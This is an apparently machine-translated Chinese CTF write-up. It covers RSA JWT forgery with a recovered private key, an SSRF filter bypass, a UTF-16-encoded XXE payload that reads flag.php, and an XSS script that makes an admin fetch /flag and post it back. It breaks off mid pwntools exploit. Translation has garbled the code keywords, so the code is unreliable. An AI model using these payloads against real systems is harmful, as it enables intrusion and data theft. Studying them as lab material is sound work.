发布于2025年12月5日12月5日 1。青龙集团WEB web1 您可以通过在开头输入任何内容来登录。登录后会生成一个token和一个session,一个是jwt,一个是flask框架。 这里我们首先伪造jwt,这是国外的原标题。 CTFtime.org/DownUnderCTF 2021(在线)/JWT/Writeup 首先生成两个token,然后使用rsa_sign2n工具生成公钥 python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNi BLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2 WFIF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO 获取公钥 -----开始公钥----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502 ZMSv0AxMgN5UMh9FCwIDAQAB -----END PUBLIC KEY-----然后使用RsaCtfTool获取私钥 -----开始RSA 私钥----- MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMDY3AW7LTarzZ8iq5i 6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwr tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ jqta99E= -----END RSA PRIVATE KEY-----然后直接伪造jwt即可,用户名admin成功。 您可以访问游戏路由使用功能。这里又是一个国外原创问题。 AIS3-2024 年考试前-写作|堇姬Naup 的博客 使用emo 表达式构造cd flag;p:|cat * ⭐直接阅读源码即可得到secret_key为36f8efbea152e50b23290e0ed707b4b0 然后就假装一下 然后就可以使用上传文件的功能了。我们先来审核一下这部分的源码。 @app.route('/upload',methods=['GET', 'POST']) def上传(): token=request.cookies.get('token') 如果不是令牌: flash('请先登录', '警告') 返回重定向(url_for('登录')) 有效负载=decode_jwt(令牌) 表单=上传表单() 如果不是有效负载或有效负载['用户名']!='admin': error_message='您无权访问此页面。您的用户名不是admin。' return render_template('upload.html', form=form, error_message=error_message, username=payload['用户名']) 如果不是session['role'] 或session['role'] !='admin': error_message='您无权访问此页面。您的角色不是管理员。' return render_template('upload.html', form=form, error_message=error_message, username=payload['用户名']) 如果form.validate_on_submit(): 文件=表单.头像.数据 如果文件: 文件名=secure_filename(文件.文件名) files={'file': (文件名, file.stream, file.content_type)} php_service_url='http://127.0.0.1/upload.php' 响应=requests.post(php_service_url,文件=文件) 如果响应.status_code==200: flash(response.text, '成功') 否则: flash('上传文件到PHP服务失败', '危险') return render_template('upload.html', form=form) @app.route('/view_uploads',methods=['GET', 'POST']) def view_uploads(): token=request.cookies.get('token') 形式=游戏形式() 如果不是令牌: error_message='请先登录' 返回render_template('view_uploads.html', form=form, error_message=error_message) 有效负载=decode_jwt(令牌) 如果不是有效负载: error_message='令牌无效或过期。请重新登录。 返回render_template('view_uploads.html', form=form, error_message=error_message) 如果不是有效负载['用户名']=='admin': error_message='您无权访问此页面。您的用户名不是admin' 返回render_template('view_uploads.html', form=form, error_message=error_message) 用户输入=无 如果form.validate_on_submit(): 文件路径=form.user_input.data pathurl=request.form.get('路径') if ('www.testctf.com' 不在路径中) 或('127.0.0.1' 在路径中) 或('/var/www/html/uploads/' 不在文件路径中) 或('.' 在文件路径中): error_message='www.testctf.com 必须位于路径中,而/var/www/html/uploads/必须位于文件路径中。' 返回render_template('view_uploads.html', form=form, error_message=error_message) params={': 文件路径} 尝试: 响应=requests.get('http://'+pathurl, params=params, 超时=1) return render_template('view_uploads.html', form=form, user_input=response.text) 除了: 错误消息='500!服务器错误' 返回render_template('view_uploads.html', form=form, error_message=error_message) return render_template('view_uploads.html', form=form, user_input=user_input) 80端口有php服务,然后/upload路由可以上传文件到uplaods目录,在view_uploads路由下可以查看,但是有waf if ('www.testctf.com' not in pathurl) or ('127.0.0.1' in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):必须包含这个域名,并且不能有127.0.0.1,那么可以用0.0.0.0代替127.0.0.1,并使用跳转在ssrf中绕过域名限制 POST /view_uploads HTTP/1.1 主机: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732 用户代理: Mozilla/5.0(Windows NT 10.0;Win64;x64;rv:131.0)Gecko/20100101 Firefox/131.0 Accept: 文本/html,应用程序/xhtml+xml,应用程序/xml;q=0.9,图像/avif,图像/webp,图像/png,图像/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip、deflate Content-Type: 应用程序/x-www-form-urlencoded 内容长度: 211 产地: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732 连接:关闭 Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads Cookie: 会话=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1Yz JhYzlmNmU5MyIsInJvbGUIOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno;令牌=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zr nvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAURKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1 升级不安全请求: 1 优先级: u=0, i csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQpath=www.testctf [email protected]_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=Submit 那么你可以先上传一个文件,然后读取,就会报Failed。加载XML文件,我猜它会解析xml并直接输入xxe,但是很多诸如system之类的关键字被过滤了,所以使用utf-16编码绕过它,直接读取flag.php文件。 ?xml 版本='1.0' ? !DOCTYPE 替换[!ENTITY 示例SYSTEM 'php://filter/convert.base64-encode/resource=/var/www/html/flag.php' ] 用户信息 名字约翰/名字 姓氏示例;/姓氏 /userInfoiconv -f utf8 -t utf16 1.xml3.xml 然后上传3.xml,再次读取,得到flag web2 打开容器的登录界面,输入账号和密码进入漏洞界面。 这里是发送给老大的函数,看一下xss 然后访问/flag,需要老大才能访问。这里我们可以提交一个xss,然后让老大先访问/flag,然后把数据带到我们的内容中。 scriptvar xmlhttp=new XMLHttpRequest(); xmlhttp.withCredentials=true; xmlhttp.onreadystatechange=函数() { if (xmlhttp.readyState==4 xmlhttp.status==200) { var flagData=xmlhttp.responseText; var flag1=btoa(flagData); var RemoteServerUrl='/content/4a95828e3f0037bfe446ae0e693912df'; var xmlhttp2=new XMLHttpRequest(); xmlhttp2.open('POST',remoteServerUrl,true); xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp2.send('内容='+encodeURIComponent(flag1)) } }; xmlhttp.open('GET', '/flag', true); xmlhttp.send();/脚本 更新任务后,发送给boss 然后返回页面,你会看到flag已经发送了。 PWN PWN2 一开始有登录功能,然后只要拿到用户名和密码就可以进入。 vuln函数中存在两个字节的溢出,buf的地址也被泄露。 还给了我们后门函数和/bin/sh 字符串 完成经验 从pwn 导入* elf=ELF('./短') 上下文(arch=elf.arch,os=elf.os) context.log_level='调试' # libc=ELF('./libc.so.6') 标志=0 url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn' 端口=45740 如果标志:
创建帐户或登录后发表意见